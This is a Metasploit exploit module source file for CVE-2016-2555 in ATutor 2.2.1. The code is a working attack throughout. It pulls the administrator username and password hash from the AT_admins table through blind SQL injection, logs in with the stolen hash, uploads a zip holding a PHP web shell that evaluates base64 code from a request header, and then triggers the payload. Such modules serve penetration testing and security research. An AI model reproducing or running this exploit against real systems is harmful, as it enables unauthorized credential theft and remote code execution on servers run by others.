metasploit-framework/modules/exploits/multi/http/atutor_sqli.rb

272 lines
8.3 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',
'Description' => %q{
This module exploits a SQL Injection vulnerability and an authentication weakness
vulnerability in ATutor. This essentially means an attacker can bypass authentication
and reach the administrator's interface where they can upload malicious code.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code
],
'References' =>
[
[ 'CVE', '2016-2555' ],
[ 'URL', 'http://www.atutor.ca/' ], # Official Website
[ 'URL', 'http://sourceincite.com/research/src-2016-08/' ] # Advisory
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', { }]],
'DisclosureDate' => 'Mar 1 2016',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/'])
],self.class)
end
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
def print_good(msg='')
super("#{peer} - #{msg}")
end
def check
# the only way to test if the target is vuln
if test_injection
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def create_zip_file
zip_file = Rex::Zip::Archive.new
@header = Rex::Text.rand_text_alpha_upper(4)
@payload_name = Rex::Text.rand_text_alpha_lower(4)
@plugin_name = Rex::Text.rand_text_alpha_lower(3)
path = "#{@plugin_name}/#{@payload_name}.php"
# this content path is where the ATutor authors recommended installing it
register_file_for_cleanup("#{@payload_name}.php", "/var/content/module/#{path}")
zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
zip_file.pack
end
def exec_code
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
}, 0.1)
end
def upload_shell(cookie)
post_data = Rex::MIME::Message.new
post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=\"modulefile\"; filename=\"#{@plugin_name}.zip\"")
post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"install_upload\"")
data = post_data.to_s
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "install_modules.php"),
'method' => 'POST',
'data' => data,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'cookie' => cookie
})
if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection),
'cookie' => cookie
})
if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"),
'cookie' => cookie
})
return true
end
end
# unknown failure...
fail_with(Failure::Unknown, "Unable to upload php code")
return false
end
def login(username, hash)
password = Rex::Text.sha1(hash)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "login.php"),
'vars_post' => {
'form_password_hidden' => password,
'form_login' => username,
'submit' => 'Login',
'token' => ''
},
})
# poor developer practices
cookie = "ATutorID=#{$4};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
if res && res.code == 302 && res.redirection.to_s.include?('admin/index.php')
# if we made it here, we are admin
report_cred(user: username, password: hash)
return cookie
end
# auth failed if we land here, bail
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
return nil
end
def perform_request(sqli)
# the search requires a minimum of 3 chars
sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='"
rand_key = Rex::Text.rand_text_alpha(1)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "mods", "_standard", "social", "index_public.php"),
'vars_post' => {
"search_friends_#{rand_key}" => sqli,
'rand_key' => rand_key,
'search' => 'Search'
},
})
return res.body
end
def dump_the_hash
extracted_hash = ""
sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)"
login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli).to_i
for i in 1..login_and_hash_length
sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))"
asciival = generate_sql_and_test(false, false, sqli)
if asciival >= 0
extracted_hash << asciival.chr
end
end
return extracted_hash.split(":")
end
# greetz to rsauron & the darkc0de crew!
def get_ascii_value(sql)
lower = 0
upper = 126
while lower < upper
mid = (lower + upper) / 2
sqli = "#{sql}>#{mid}"
result = perform_request(sqli)
if result =~ /There are \d+ entries\./
lower = mid + 1
else
upper = mid
end
end
if lower > 0 and lower < 126
value = lower
else
sqli = "#{sql}=#{lower}"
result = perform_request(sqli)
if result =~ /There are \d+ entries\./
value = lower
end
end
return value
end
def generate_sql_and_test(do_true=false, do_test=false, sql=nil)
if do_test
if do_true
result = perform_request("1=1")
if result =~ /There are \d+ entries\./
return true
end
else not do_true
result = perform_request("1=2")
if not result =~ /There are \d+ entries\./
return true
end
end
elsif not do_test and sql
return get_ascii_value(sql)
end
end
def test_injection
if generate_sql_and_test(do_true=true, do_test=true, sql=nil)
if generate_sql_and_test(do_true=false, do_test=true, sql=nil)
return true
end
end
return false
end
def report_cred(opts)
service_data = {
address: rhost,
port: rport,
service_name: ssl ? 'https' : 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
post_reference_name: self.refname,
private_data: opts[:password],
origin_type: :service,
private_type: :nonreplayable_hash,
jtr_format: 'sha512',
username: opts[:user]
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
last_attempted_at: Time.now
}.merge(service_data)
create_credential_login(login_data)
end
def exploit
print_status("Dumping the username and password hash...")
credz = dump_the_hash
if credz
print_good("Got the #{credz[0]}'s hash: #{credz[1]} !")
admin_cookie = login(credz[0], credz[1])
if upload_shell(admin_cookie)
exec_code
end
end
end
end